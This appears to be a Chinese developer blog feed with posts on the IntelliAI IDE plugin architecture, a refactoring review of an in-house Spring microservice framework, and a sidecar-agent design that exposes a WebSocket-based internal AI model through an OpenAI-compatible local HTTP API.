为什么一定要拆出 IntelliAI Engine

到这里其实就是程序员基本功了：抽象。
我不想每个插件都维护一套 AI 接入逻辑，所以把共性能力抽成了第三个插件：IntelliAI Engine。

Engine 的定位很克制：它只负责”怎么调 AI”，不负责”业务上要做什么”。

Engine 这层主要处理：

模型与服务商接入
Prompt 请求编排
Token 与请求生命周期管理
超时、重试、错误处理
对外的统一扩展接口

而业务插件只关心一件事：把自己的输入输出定义清楚，然后调用 Engine。

这套分层带来的价值很实在，不是什么花哨架构：

修 bug 只修一处
行为在多个插件里保持一致
新插件开发速度显著提升
职责边界清晰，问题定位不扯皮

比如我要再做 IntelliAI Terminal、IntelliAI Tracer，核心能力不需要重写，重点放在场景本身就行。

为什么我依然不做大而全

这里我不是说大而全工具不好。它们解决的是另一类问题：复杂工程、长链路任务、跨文件和跨步骤协作。
我做的，是另一个方向：高频、短链路、可预测、低干扰。

我给自己的约束一直没变：

不接管用户工作流
不强迫用户进入”AI 模式”
不把简单问题复杂化
失败时保证”安全失败”

在我的理解里，一个工程工具的上限不只是能力，还有信任。
你知道它只做这一件事，而且大概率不会帮倒忙，你才会在每天几十次操作里放心按下去。

我的理解

把这一路串起来，我的思路其实很简单：

先从真实痛点出发，而不是从”我要做个 AI 产品”出发
先把一个小场景打穿，再谈扩展
把共性能力沉到 Engine，把业务复杂度留在插件外层
用组合替代堆叠，用边界换稳定

所以如果你问我这套设计哲学到底是什么，我现在会用一句话回答：

不替你思考一切，只在你需要的那一刻，帮你快一步。

系列文章导航

这篇算是 IntelliAI 插件系列的引导篇。如果你想看具体实现，可以按下面这条线继续看：

我的插件

你也可以访问 Zeka Stack 站点获取在 IntelliAI Engine 中免费使用的 OpenAI API Key, 集成方式也非常简单, 期待你的反馈

研发底座架构全景：从理念到实践

Thu, 01 Jan 2026 00:00:00 GMT

这个框架，到底哪里不对劲

去年下半年我开始接手一个研发底座的优化工作。什么叫研发底座？说白了就是公司内部那套脚手架和通用组件——鉴权、日志、异常处理、缓存、加解密，这些每个项目都要用的东西，抽象出来形成框架，避免每个团队重复造轮子。

这套底座已经迭代了两年多，支撑着十几个微服务的正常运行。按理说，经过这么长时间的打磨，应该比较成熟了。但当我真正开始读代码的时候，总感觉哪里不太对。不是说它不能用，能用，而且一直在用。而是说，如果你让我从零开始设计一个同样功能的东西，我不会这样做。

这其实是一个挺微妙的位置。作为后来者，你不能一上来就指指点点说这个不行那个要改——每个设计决策背后都有当时的上下文，也许那时候只有两个人，业务急着上线，架构师做了一个在当时最合理的取舍。但问题是，当时的上下文现在可能已经不存在了。团队从三五个人变成了几十个人，服务从两三个膨胀到了十几个，当初那个”先这么写着，后面再说”的设计选择，现在已经变成了后来者的认知负担。

打个比方。我在看网关路由配置的时候，发现一个现象：每个微服务都定义了自己的 context-path：

# user-service
server:
  port: 9003
  servlet:
    contextPath: /user/api

网关里也做了对应的路由：

spring:
  cloud:
    gateway:
      routes:
        - id: user-service
          uri: lb://user-service
          predicates:
            - Path=/user/api/**

这样设计的好处很明显：前端不管走不走网关，请求路径都是统一的。从 /user/api/ping 进来，网关识别前缀 /user/api，路由到 user-service，user-service 匹配 /ping 接口。如果直接访问 user-service，也是同样的路径 /user/api/ping，然后是同一个 /ping 接口。

这在当时是一个合理的、务实的决策——减少前端的适配成本。

但几个月后，当我在排查一个路径匹配不一致的 bug 时，才发现在这个看似简单的设计之下隐藏着更多问题。

问题出在白名单配置上。框架里有两个地方在做白名单校验：

网关层用 Pattern.compile(patterItem).matcher(requestPath).matches() 做正则匹配：

// 网关过滤器中的白名单检查
for (String patterItem : whitePatternList) {
    Pattern pattern = Pattern.compile(patterItem, Pattern.CASE_INSENSITIVE);
    Matcher matcher = pattern.matcher(requestPath);
    if (matcher.matches()) {
        return true;
    }
}

安全组件里用 AntPathMatcher 做路径匹配：

// BearerTokenExtractor 中的 URL 忽略检查
boolean match = this.urlProperties.getIgnoreUrls().stream()
    .anyMatch(url -> PathMatcherUtil.match(url, request.getRequestURI()));

它们读取的是同一份白名单配置：

security:
  oauth2:
    client:
      ignoreUrls: .*(/token/logout).*,.*(/login).*,.*(/ping).*,...

但两者的匹配结果不一致。对于一个请求路径 /token/logout，正则的方式能匹配上，AntPathMatcher 匹配不上。这不是 bug，代码都按自己的逻辑正确执行了。但两个地方用了不同的匹配策略来解析同一份配置，这就埋下了安全隐患——你到底信哪个？

更麻烦的是，Spring Security 在启动时还会打印警告，说这些正则模式的路径缺少前导斜杠，未来版本会直接抛异常。

这只是一个缩影。类似的问题散落在整个框架的各个角落——单独看每个设计决策都有道理，但拼在一起就出现了不一致性。

研发底座到底要解决什么问题

在动手优化之前，我问了自己一个问题：这个底座，到底是在解决什么问题？

这不是一个形而上的问题。如果一个框架的定位不清晰，它就会什么功能都想往里塞，最后变成一个谁都不敢动、谁也说不清边界在哪的庞然大物。

我把它拆成四个层次来看：

graph LR
    subgraph 战略层["战略层"]
        S1["技术沉淀：最佳实践固化"]
        S2["人才梯队：抽象设计能力培养"]
        S3["差异化：行业场景深度适配"]
    end

    subgraph 成本层["成本层"]
        C1["人力成本：降低培训与上手门槛"]
        C2["维护成本：统一工具链与升级路径"]
        C3["运维成本：内置监控与部署规范"]
    end

    subgraph 质量层["质量层"]
        Q1["统一规范：代码、日志、接口一致性"]
        Q2["安全合规：加解密、审计、脱敏内置"]
        Q3["降低差错：通用能力已充分验证"]
    end

    subgraph 效率层["效率层"]
        E1["减少重复造轮子"]
        E2["脚手架快速搭建"]
        E3["聚焦业务而非基础设施"]
    end

    战略层 --> 成本层
    成本层 --> 质量层
    质量层 --> 效率层

效率层是最直观的，也是大多数框架一开始的出发点。但如果你把研发底座只当成一个”减少重复代码”的工具，那做到一定程度就会发现边际收益递减——再往后走，剩下的代码都是业务特有的，没法进一步抽象了。

往上三层才是研发底座的护城河。质量层解决一致性和安全性的问题——为什么框架要内置加解密和审计日志？因为让每个业务团队自己去搞，搞出来的方案一定不一致，而不一致就意味着安全风险。成本层解决组织的规模效应——新人来了，看了文档就知道怎么搭项目，不需要老员工口口相传。战略层则是更长远的竞争力——你沉淀下来的不是几个 jar 包，而是整个团队对技术问题的理解和应对能力。

但这四层投入的成本也是递增的。效率层最容易出成果，但价值上限也低。战略层的价值最高，但投入最大、见效最慢。很多团队做框架做到一半放弃了，原因就是只在效率层努力，做到了瓶颈就以为框架没价值了。

真正困扰我的几个问题

说回实际代码。下面这些问题，每一个单独看都不致命，但它们合在一起，就成了团队的认知负担。

配置管理到底应该怎么做

框架里大量使用 @Value 来注入配置。举个例子，缓存组件中散落着这样的代码：

@Value("${spring.data.redis.enable:true}")
private boolean enable;

@Value("${spring.data.redis.impl:redisson}")
private String implementation;

这样写有什么问题？第一个问题是 IDE 无法自动补全——你不知道有哪些可配置项，只能翻文档，而文档又常常滞后于代码。第二个问题是配置验证缺失——如果有人把 maxActive 写成 -1，要到运行时才发现连接池创建失败。

更让我难受的是配置开关的命名不统一。一部分配置用 enable，另一部分用 enabled：

# 这里用 enable
secret:
  mybatis:
    enable: false

# 这里用 enabled  
gateway:
  log:
    access:
      enabled: false

你说这是多大的事吗？一个字母之差。但当一个框架里有几十个配置项，使用者在写配置的时候需要反复确认是 enable 还是 enabled，这本身就是认知负担。而且这种事在 code review 的时候极容易被忽略——reviewer 也记不住这么多命名差异。

更合理的做法是使用 @ConfigurationProperties 来统一管理：

@Data
@ConfigurationProperties(prefix = "framework.cache")
public class CacheProperties {
    private boolean enabled = true;
    private String implementation = "redisson";
    private String keyPrefix = "";
    private Duration defaultExpiration = Duration.ofHours(1);
    private Pool pool = new Pool();
    
    @Data
    public static class Pool {
        private int maxActive = 20;
        private int maxIdle = 10;
        private int minIdle = 5;
    }
}

这样做的好处是：IDE 能自动提示、类型安全、可以加 @Validated 做配置校验。更重要的是，配置类本身就是文档——使用者在 IDE 里点进 CacheProperties，所有可配置项一目了然。

我知道有人会说，多写一个配置类太麻烦了，不如 @Value 方便。这个心态我理解，但那是站在框架开发者角度的想法。站在使用者的角度，他要用你的缓存组件，但他不知道有哪些配置。你是让他翻三份文档、查看五个配置类、最后在一个注释里找到正确的 key？还是让他在 IDE 里输入一个 . 就能看到所有选项？研发底座是一个产品，产品就要考虑用户体验。

还有一个问题是配置的枚举化。比如短信服务商类型，框架里用字符串来配置：

sms:
  type: ryd  # 有人写 ryd，有人写 RYD，有人写 rongyida

这种就应该用枚举：

public enum SmsProviderType {
    RYD("ryd", "融易达"),
    TYFO("tyfo", "天虎云商");
}

然后在 ConfigurationProperties 中使用这个枚举类型。使用者输入非法值时，启动阶段就直接报错，而不是跑到发短信的时候才发现配置错了。

一个拦截器做了两件无关的事

框架的 core 模块里有一个 MybatisAutoConfiguration，它自动装配了一个 MybatisPlusInterceptor：

@Bean
@ConditionalOnMissingBean(MybatisPlusInterceptor.class)
public MybatisPlusInterceptor paginationInterceptor(
        EncryptService encryptService, 
        MybatisPlusExpandProperties mybatisPlusExpandProperties) {
    MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor();
    // 字段加密
    interceptor.addInnerInterceptor(new EncryptionInterceptor(encryptService));
    // 分页
    PaginationInnerInterceptor paginationInnerInterceptor = 
        new PaginationInnerInterceptor(mybatisPlusExpandProperties.getDbType());
    paginationInnerInterceptor.setMaxLimit(1000L);
    interceptor.addInnerInterceptor(paginationInnerInterceptor);
    return interceptor;
}

然后这个自动装配的条件注解是：

@ConditionalOnProperty(prefix = "secret.mybatis", name = "enable", havingValue = "true")

看明白了吗？字段加密和分页是两个完全正交的功能，但被放在了同一个拦截器里，而且受同一个开关控制。如果业务方不需要字段加密（很多项目确实不需要），那分页也加载不上。

在 xxx-manage-service 示例项目中就遇到了这个问题。因为 secret.mybatis.enable 默认是 false，开发者引了分页插件，写好了分页查询，跑起来却发现分页不生效。排查了半天才定位到——不是因为代码写错了，而是因为分页插件根本没被加载。而分页没被加载的原因，是他没开启字段加密。

站在框架设计的角度，这是一个组件边界问题。字段加密和分页没有必然联系，它们不应该共享同一个条件开关。更合理的方式是分开装配：

// 加密拦截器 - 受 secret.mybatis.enable 控制
@Bean
@ConditionalOnProperty(prefix = "secret.mybatis", name = "enable", havingValue = "true")
public EncryptionInterceptor encryptionInterceptor(EncryptService encryptService) {
    return new EncryptionInterceptor(encryptService);
}

// 分页拦截器 - 独立存在，不受加密开关影响
@Bean
public PaginationInnerInterceptor paginationInnerInterceptor(
        MybatisPlusExpandProperties properties) {
    PaginationInnerInterceptor interceptor = 
        new PaginationInnerInterceptor(properties.getDbType());
    interceptor.setMaxLimit(properties.getMaxLimit());
    return interceptor;
}

这个改动不大，但它反映了一个原则：框架的每个原子功能应该是独立可开关的。不要让使用者因为不需要 A 功能而被迫放弃 B 功能。

一个难以描述的 bug

接下来这个例子是我排查过最抓狂的问题之一。

xxx-manage-service 报了一个错：

org.apache.ibatis.binding.BindingException: Invalid bound statement (not found): 
com.xxx.user.api.dao.DictDao.getNormalDictMapByDictCodes

第一反应是 XML 没扫到。查 mybatis-plus.mapper-locations 配置，没问题。查 @MapperScan，只在扫 com.xxx.example.dao。但 DictDao 在 com.xxx.user.api.dao 包里，这个包是在另一个依赖 user-api-starter 里的。

那为什么之前扫不到？因为 Spring Boot 的默认包扫描范围只包含主应用所在包及其子包。而 com.xxx.user.api.dao 和主应用的 com.xxx.example 不在同一个包树下。

解决问题很简单，加一行扫描路径就行：

@MapperScan({"com.xxx.example.dao", "com.xxx.user.api.dao"})

但这种解决方式让我不太舒服。为什么？因为业务方需要知道组件内部的包路径。今天是 user-api-starter，明天可能又引了 log-starter，后天再引一个，每次都要在主启动类上加包路径。这和”开箱即用”的体验差太远了。

更好的方案是组件自己提供自动配置。在组件内部写一个配置类：

@Configuration
@MapperScan("com.xxx.user.api.dao")
public class UserApiAutoConfiguration {
}

当业务方引入这个依赖时，dao 接口自动被扫描，不需要业务方关心组件里面有哪个 dao、在哪个包里。

这背后是一个更本质的问题：组件的封装性。一个好的组件应该做到”引入依赖即可用”，而不是”引入依赖后还要修改主启动类、调整配置、添加注解”。每多一步，就多一个出错的可能。

当然，自动配置也有自己的坑。比如同一个 starter 里有多个自动配置类，它们之间的加载顺序怎么保证？如果业务方自己也配了 @MapperScan，会不会冲突？这些都是需要在设计阶段想清楚的问题。

还有一个关联问题——Mapper XML 应该放在哪。在组件里，XML 最初被放在了 src/main/java/com/xxx/user/api/dao/xml/ 下面，也就是和 dao 接口放在一起。开发阶段没问题，但打包成 jar 给业务方使用的时候，XML 文件没有被 Maven 识别为资源，打包不进去。Maven 默认只把 src/main/resources 下的文件打进 jar，src/main/java 下的 .xml 被忽略了。

把这个当成一个教训：代码和资源要分离。把 XML 挪到 src/main/resources/ 下对应路径就行，不需要改 pom.xml，也不需要额外的插件。

为什么失败了还要返回 data

最后说一个看似微小但影响面很广的问题——Response 统一返回体的设计。

框架里有一个 Response 类，提供了几个静态工厂方法：

public static Response success();
public static <T> Response success(T data);
public static Response success(String message);       // 注意这个重载
public static Response success(T data, String message);

乍一看没问题。但看调用方代码：

@GetMapping("/value")
public Response<String> getDictValue() {
    String dictValue = "1111";
    return Response.success(dictValue);
}

请问返回的是什么？success("1111") 匹配了 success(String)，所以 "1111" 被当成了 message，data 是 null。但调用方的意图显然是把 "1111" 当作业务数据返回。这就是方法重载的二义性陷阱——当 T 恰好是 String 的时候，调用方和编译器选择了不同的重载方法。

这个问题在实际项目中真实地出现过。前端拿到 meta.success = true 但 data = null，一脸茫然。

另一个同样让人困惑的设计是 failure 方法：

public static Response failure(String message);
public Response failure(T data, String message);

// 实际调用
public Response getWeChatUserAccessToken(String code, String responseToken) {
    if (responseToken == null || !token.equals(responseToken)) {
        return new Response().failure("验证失败!", responseToken);
    }
}

这里调用方本意是想把错误信息传进去，但因为 failure(T data, String message) 把 data 放在了第一个参数，实际上是把 "验证失败!" 当成了 data，把 responseToken 当成了 message。又是一个参数错位。

还有一个更纠结的场景——参数校验失败时：

private Response buildArgumentValidMsg(BindingResult b) {
    List<Map<String, Object>> invalidArguments = new ArrayList<>();
    StringBuilder sb = new StringBuilder("【");
    for (FieldError error : b.getFieldErrors()) {
        Map<String, Object> errorMap = new HashMap<>(3);
        errorMap.put("field", error.getField());
        errorMap.put("defaultMessage", error.getDefaultMessage());
        errorMap.put("rejectedValue", error.getRejectedValue());
        invalidArguments.add(errorMap);
        sb.append(error.getDefaultMessage()).append(";");
    }
    sb.append("】");
    return new Response().failure(invalidArguments, "参数校验未通过！" + sb.toString());
}

错误信息同时放在了 data 和 message 两处。前端要展示错误详情，应该取 data 里的结构化数据，还是取 message 里的人读字符串？如果不同的开发者有不同的理解，那同一个错误场景在前端会呈现出不同的处理方式——有的取 data，有的拼 message，然后两端互相不理解为什么对方那样做。

这些问题的根源在于 Response 类的 API 设计不够精确。一个好的返回体应该满足：调用方怎么理解，结果就是什么。不存在”你以为是这样，但实际是那样”的模糊地带。

修复的方向其实很清晰：

去掉容易产生歧义的重载方法，让每个方法的语义明确；
失败的 data 要么去掉，要么明确定义它的用途（比如用于存放结构化的校验错误详情）；
异常信息独立出来，不要混在 data 里。

具体的重构方案在后续文章里详细展开。

优化路线：从哪下手

面对这些问题，最容易犯的错误是”全部重构一遍”。但现实是业务团队在等需求交付，没人会有耐心等你花三个月把框架打磨到完美。

我的策略是分层推进：

gantt
    title 研发底座优化路线图
    dateFormat  YYYY-MM
    axisFormat  %Y-%m
    section 高优先级-立即实施
        配置管理统一化           :done, p1a, 2025-09, 2025-10
        工程规范与脚手架           :done, p1b, 2025-09, 2025-10
        可观测性 MVP              :active, p1c, 2025-10, 2025-12
        Response API 重构         :p1d, 2025-10, 2025-11
    section 中优先级-近期规划
        组件边界梳理              :p2a, 2025-11, 2026-01
        缓存组件接口拆分           :p2b, 2025-11, 2026-01
        安全加固                  :p2c, 2025-12, 2026-02
        Wiki 知识库搭建            :p2d, 2026-01, 2026-03
    section 低优先级-长期演进
        代码质量工具链             :p3a, 2026-02, 2026-04
        代码生成器                :p3b, 2026-03, 2026-06
        IDE 插件与 CLI 工具        :p3c, 2026-05, 2026-08

高优先级的原则是投入小、影响大、风险低。配置管理用 @ConfigurationProperties 替代 @Value，对运行时行为几乎零影响，但立竿见影地提升了开发体验。可观测性用 Prometheus + SkyWalking 先搭起来，解决”服务挂了不知道”的问题——这不要求完美，先有就行。

中优先级涉及组件边界的调整和接口的重构，需要更多时间设计兼容方案，但基本上是在框架内部做手术，对业务方影响可控。

低优先级是工具链层面的长期建设，它们的前提是框架本身已经足够稳定。框架还在变的时候去做代码生成器，生成出来的代码马上又要跟着改，纯粹浪费。

还有一件事我在推进的过程中心里一直有数：在一个项目型组织中，推动技术改进最重要的是让别人看到价值。你把配置统一管理好了，新同事从原来两天上手变成两个小时上手——这就是讲得清楚的价值。你把 Prometheus 加上去了，服务挂了五分钟就收到告警而不是等客户来投诉——这比你写十篇架构文档更能建立信任。小的胜利积累够了，才能为更大的改变争取到空间。

下一篇写什么

这篇文章里压了很多东西没展开。配置管理具体怎么重构？@ConfigurationProperties 如何做嵌套验证？共享配置怎么分层？Response 类重构成什么样才是好设计？缓存组件接口拆分后的代码是什么样的？

这些都会在后续文章里一一展开。下一篇从工程规范与项目脚手架开始——Maven 的 scope 和 optional 到底怎么选？为什么更推荐 spring-boot-dependencies 而不是 spring-boot-starter-parent？项目骨架如何用 Maven Archetype 一键生成？回头见。

架构设计：如何在 IntelliAI Engine 中优雅集成非标准协议的 AI 服务

Thu, 18 Dec 2025 00:00:00 GMT

📋 背景与挑战

业务背景

IntelliAI Engine 是一个开源项目，作为 IntelliJ IDEA 插件的统一 AI 服务抽象层，需要对接各种 AI 服务提供商。在实际业务场景中，我们遇到了一个特殊的挑战：

公司内部使用的星辰大模型接入需求：

安全管控约束：
- 公司内部的星辰大模型无法在外部环境使用
- 由于插件是开源项目，出于安全管控的原因，不能将内部对接逻辑直接暴露到开源代码中
- 内部模型的认证、连接等敏感信息必须与开源项目隔离
已有工具项目：
- 公司内部已经在前端时间通过 Java 实现了一个对接内部星辰大模型的工具类项目
- 该项目已经完成了 WebSocket 连接、OAuth2 认证、会话管理等核心功能
- 项目已经能够稳定运行，并通过 Swing 界面为用户提供服务
业务推广需求：
- 此次因为公司内部推广，需要将星辰大模型接入到现有的 Engine 插件中
- 需要让公司内部用户能够通过 IntelliJ IDEA 插件使用星辰大模型
架构设计考量：
- 复用性：希望直接复用已有的工具项目，避免重复开发
- 安全性：保持开源项目与内部项目的职责分离，确保敏感代码不泄露
- 职责分离：剥离开源项目与内部项目的职责关系，降低耦合度
- 协议适配：只需要将已有工具项目改造成适配 OpenAI API 的协议，即实现 OpenAI API 与 WebSocket 的适配层

问题场景

基于上述业务背景，我们面临的技术挑战是：

IntelliAI Engine 作为统一 AI 服务抽象层，大多数服务商提供了 OpenAI 兼容的 HTTP API，但存在一些特殊情况：

协议不兼容：某些服务商（如星辰大模型）使用 WebSocket、gRPC 等非 HTTP 协议
认证机制特殊：OAuth2、自定义 Token 等非标准认证流程
响应格式差异：虽然声称兼容 OpenAI，但实际响应结构有细微差异
架构约束：Engine 已统一使用 HTTP 协议，不希望为特殊协议引入额外依赖
安全隔离：内部服务商的对接逻辑不能暴露在开源代码中

核心挑战

如何在不修改 Engine 核心架构、不暴露内部实现细节、复用已有工具项目的前提下，优雅地集成这些”异类”服务商？

🏗️ 架构设计原则

1. 适配器模式（Adapter Pattern）

核心思想：将非标准协议转换为标准 OpenAI API 格式

graph TB
    subgraph Engine["IntelliAI Engine (核心层)"]
        Interface["AIServiceProvider 接口<br/>- generateContent()<br/>- validateConfiguration()<br/>- getAvailableModels()"]
    end
    
    subgraph Agent["Sidecar Agent (适配层)"]
        HTTPServer["本地 HTTP Server<br/>(OpenAI API 兼容)<br/>POST /v1/chat/completions<br/>GET /v1/models"]
        Adapter["协议适配器<br/>(WebSocket/gRPC/自定义)<br/>- OAuth2 认证<br/>- 协议转换<br/>- 状态管理"]
    end
    
    Provider["AI Service Provider<br/>(原生协议)"]
    
    Interface -->|"HTTP<br/>(OpenAI API 标准)"| HTTPServer
    HTTPServer -->|"协议转换"| Adapter
    Adapter -->|"原生协议"| Provider
    
    style Engine fill:#e1f5ff
    style Agent fill:#fff4e1
    style Provider fill:#ffe1f5
    style Interface fill:#d4edda
    style HTTPServer fill:#fff4e1
    style Adapter fill:#fff4e1

2. Sidecar 模式（Sidecar Pattern）

核心思想：将协议适配逻辑从 Engine 中剥离，作为独立的本地 Agent 运行

优势：

✅ 零侵入：Engine 核心代码无需修改
✅ 隔离性：协议适配逻辑独立运行，不影响 Engine 稳定性
✅ 可扩展：每个非标准服务商都可以有自己的 Agent
✅ 轻量级：Agent 只负责协议转换，不引入重型框架

3. 最小改动原则

设计目标：新增服务商时，Engine 核心代码改动 < 50 行

🎯 架构分层设计

第一层：Engine 核心层（不变）

// Engine 核心接口 - 保持不变
public interface AIServiceProvider {
    String generateContent(AIChatRequest request, String apiKey, AIResponseListener listener);
    ValidationResult validateConfiguration(String apiKey);
    List<String> getAvailableModels(String apiKey);
}

// 标准 Provider 实现 - 保持不变
public abstract class AICompatibleProvider implements AIServiceProvider {
    // 统一的 HTTP 请求处理
    // 统一的错误处理
    // 统一的重试机制
}

职责：

提供统一的 AI 服务抽象
处理标准的 OpenAI API 请求
管理配置、认证、重试等通用逻辑

第二层：Provider 实现层（最小改动）

对于非标准协议的服务商，Provider 实现类只需要：

public class CodefreeProvider extends AICompatibleProvider {
    
    public CodefreeProvider(Project project, AIProviderConfig config, 
                           AIModelParameters modelParameters, 
                           AIRuntimeSettings runtimeSettings) {
        super(project, config, modelParameters, runtimeSettings);
        // 关键：将 baseUrl 指向本地 Agent
        this.config.baseUrl = "http://127.0.0.1:10011/v1";
    }
    
    // 无需重写任何方法！
    // AICompatibleProvider 已经处理了所有 HTTP 请求
}

改动量：仅需 1 个 Provider 类（约 20 行代码）

第三层：Sidecar Agent 层（独立实现）

Agent 作为独立的 JAR 包，负责：

协议转换：WebSocket → HTTP
认证处理：OAuth2 流程
状态管理：会话、连接状态
API 兼容：提供 OpenAI 标准接口

// Agent 内部实现（独立项目）
public class OpenAiApiServer {
    private HttpServer server;
    
    public void start() {
        server = HttpServer.create(new InetSocketAddress(10011), 0);
        
        // 提供 OpenAI 兼容接口
        server.createContext("/v1/chat/completions", this::handleChatCompletions);
        server.createContext("/v1/models", this::handleModels);
        
        server.start();
    }
    
    private void handleChatCompletions(HttpExchange exchange) {
        // 1. 解析 OpenAI 格式请求
        OpenAIRequest request = parseRequest(exchange);
        
        // 2. 转换为服务商协议（WebSocket）
        WebSocketMessage wsMessage = convertToWebSocket(request);
        
        // 3. 调用服务商 API
        String response = callProviderViaWebSocket(wsMessage);
        
        // 4. 转换为 OpenAI 格式响应
        OpenAIResponse openAIResponse = convertToOpenAI(response);
        
        // 5. 返回标准响应
        sendResponse(exchange, openAIResponse);
    }
}

🔧 实现细节：Codefree 案例

1. Engine 侧改动（最小化）

步骤 1：添加 Provider 类型枚举

// AIProviderType.java - 添加一行
CODEFREE(
    "codefree",
    "Codefree",
    "http://127.0.0.1:10011/v1",  // 指向本地 Agent
    "codefree-chat",
    false,  // Agent 内部处理认证
    false,  // URL 不可编辑（固定为本地）
    List.of("codefree-chat")
)

步骤 2：创建 Provider 实现类

// CodefreeProvider.java - 约 20 行代码
public class CodefreeProvider extends AICompatibleProvider {
    public CodefreeProvider(Project project, AIProviderConfig config,
                           AIModelParameters modelParameters,
                           AIRuntimeSettings runtimeSettings) {
        super(project, config, modelParameters, runtimeSettings);
    }
    // 无需重写任何方法，直接使用父类的 HTTP 处理逻辑
}

步骤 3：注册到工厂类

// AIServiceFactory.java - 添加一个 case
return switch (providerType) {
    // ... 其他 case
    case CODEFREE -> new CodefreeProvider(project, config, modelParameters, runtimeSettings);
};

总改动量：约 30 行代码

2. Agent 侧实现（独立项目）

架构设计

codefree-agent.jar
├── HTTP Server (JDK HttpServer)
│   ├── /v1/chat/completions
│   ├── /v1/models
│   └── /health
├── WebSocket Client
│   ├── 连接管理
│   ├── 消息收发
│   └── 重连机制
├── OAuth2 Handler
│   ├── 认证流程
│   ├── Token 管理
│   └── 浏览器回调
└── Protocol Adapter
    ├── OpenAI → WebSocket
    └── WebSocket → OpenAI

关键技术选型

为什么不用 Spring Boot？

需求	Spring Boot	JDK HttpServer
REST API 数量	几十上百个	2-3 个 ✅
启动速度	慢（3-5秒）	快（<100ms）✅
内存占用	150MB+	<50MB ✅
依赖复杂度	高	零依赖 ✅
生命周期管理	重	轻量 ✅

结论：对于本地 Agent，JDK 自带的 HttpServer 完全够用。

核心实现示例

// 使用 JDK HttpServer（零依赖）
HttpServer server = HttpServer.create(
    new InetSocketAddress("127.0.0.1", 10011), 0
);

server.createContext("/v1/chat/completions", exchange -> {
    // 1. 解析请求
    String body = new String(exchange.getRequestBody().readAllBytes(), UTF_8);
    JSONObject request = JSON.parseObject(body);
    
    // 2. 协议转换
    WebSocketMessage wsMsg = convertToWebSocket(request);
    
    // 3. 调用 WebSocket 服务
    String response = webSocketClient.send(wsMsg);
    
    // 4. 格式转换
    JSONObject openAIResponse = convertToOpenAIFormat(response);
    
    // 5. 返回响应
    byte[] respBytes = openAIResponse.toJSONString().getBytes(UTF_8);
    exchange.getResponseHeaders().add("Content-Type", "application/json");
    exchange.sendResponseHeaders(200, respBytes.length);
    exchange.getResponseBody().write(respBytes);
    exchange.close();
});

server.start();

3. 插件侧集成（生命周期管理）

Agent 管理职责

// CodefreeAgentManager.java
public class CodefreeAgentManager {
    
    // 1. 下载 Agent JAR
    public Path downloadJar(String version, ProgressIndicator indicator);
    
    // 2. 启动 Agent 进程
    public long startAgent(CodefreeAgentSettings settings);
    
    // 3. 停止 Agent 进程
    public void stopAgent();
    
    // 4. 检查运行状态
    public boolean isRunning();
}

生命周期集成

// CodefreeAgentLifecycleListener.java
public class CodefreeAgentLifecycleListener 
    implements ApplicationInitializedListener, Disposable {
    
    @Override
    public void componentsInitialized() {
        // IDE 启动时，如果配置了自动启动，则启动 Agent
        if (settings.autoStart) {
            manager.startAgent(settings);
        }
    }
    
    @Override
    public void dispose() {
        // IDE 关闭时，自动停止 Agent
        if (manager.isRunning()) {
            manager.stopAgent();
        }
    }
}

📊 架构优势分析

1. 最小侵入性

改动项	代码量	影响范围
添加 Provider 类型	10 行	仅枚举类
创建 Provider 类	20 行	仅新增文件
注册到工厂	1 行	仅工厂类
总计	~30 行	零核心改动

2. 高内聚低耦合

Engine 核心层
    ↓ (HTTP 协议，标准接口)
Sidecar Agent
    ↓ (原生协议)
AI 服务商

Engine ↔ Agent：通过标准 HTTP 协议通信，完全解耦
Agent ↔ 服务商：协议适配逻辑封装在 Agent 内部
Engine ↔ 服务商：无直接依赖

3. 可扩展性

新增非标准服务商的步骤：

创建 Agent JAR（独立项目）
在 Engine 中添加 Provider 类型（1 行）
创建 Provider 类（20 行）
注册到工厂（1 行）

无需修改：

❌ Engine 核心接口
❌ 其他 Provider 实现
❌ 配置管理逻辑
❌ UI 组件

4. 稳定性保障

隔离性：Agent 崩溃不影响 Engine
可观测性：Agent 独立日志，便于排查
可测试性：Agent 可独立测试，无需启动 IDE

🎓 设计模式应用

1. 适配器模式（Adapter Pattern）

非标准协议 ──[适配器]──> 标准 OpenAI API

实现：Agent 作为适配器，将 WebSocket/gRPC 等协议转换为 HTTP

2. 外观模式（Facade Pattern）

复杂系统 ──[外观]──> 简单接口

实现：Agent 封装 OAuth2、WebSocket 等复杂逻辑，对外提供简单的 HTTP 接口

3. 策略模式（Strategy Pattern）

不同服务商 ──[策略]──> 统一接口

实现：每个服务商有自己的 Provider 实现，但都实现 AIServiceProvider 接口

4. Sidecar 模式（Sidecar Pattern）

主应用 ──[Sidecar]──> 辅助功能

实现：Engine 作为主应用，Agent 作为 Sidecar 提供协议适配能力

📈 性能与资源考量

1. 启动性能

方案	启动时间	内存占用
Spring Boot Agent	3-5 秒	150MB+
JDK HttpServer Agent	<100ms	<50MB ✅
直接集成到 Engine	N/A	增加 Engine 复杂度

2. 运行时开销

网络延迟：localhost 通信，延迟 <1ms（可忽略）
进程开销：Agent 作为独立进程，不影响 IDE 主进程
资源占用：Agent 仅处理协议转换，资源占用极小

3. 可扩展性

多 Agent 支持：每个非标准服务商可独立运行 Agent
版本管理：Agent 可独立升级，无需更新 Engine
故障隔离：单个 Agent 故障不影响其他服务商

🔍 最佳实践

1. Agent 设计原则

✅ 轻量级：使用 JDK 自带组件，避免引入重型框架
✅ 单一职责：只负责协议转换，不处理业务逻辑
✅ 标准化：严格遵循 OpenAI API 规范
✅ 可观测：提供健康检查、日志等可观测性接口

2. Engine 集成原则

✅ 零侵入：不修改核心接口和抽象类
✅ 最小改动：新增服务商改动 <50 行代码
✅ 向后兼容：新功能不影响现有服务商
✅ 配置驱动：通过配置而非代码控制行为

3. 错误处理

// Agent 侧：优雅降级
try {
    return callProviderViaWebSocket(request);
} catch (WebSocketException e) {
    // 返回标准错误格式
    return createOpenAIErrorResponse(e);
}

// Engine 侧：统一处理
// AICompatibleProvider 已处理所有 HTTP 错误
// 无需 Provider 实现类额外处理

🚀 未来扩展方向

1. 多协议支持

当前架构已支持：

✅ HTTP (标准)
✅ WebSocket (通过 Agent)
🔄 gRPC (可扩展)
🔄 自定义协议 (可扩展)

2. 智能路由

// 未来可支持：根据请求类型自动选择协议
if (request.requiresStreaming()) {
    return useWebSocketProvider();
} else {
    return useHttpProvider();
}

3. Agent 集群

// 未来可支持：多个 Agent 实例负载均衡
List<AgentInstance> agents = discoverAgents();
AgentInstance selected = loadBalancer.select(agents);

IntelliJ IDEA 插件开发：Markdown 图片粘贴拦截失效问题排查与解决

Tue, 16 Dec 2025 00:00:00 GMT

前言

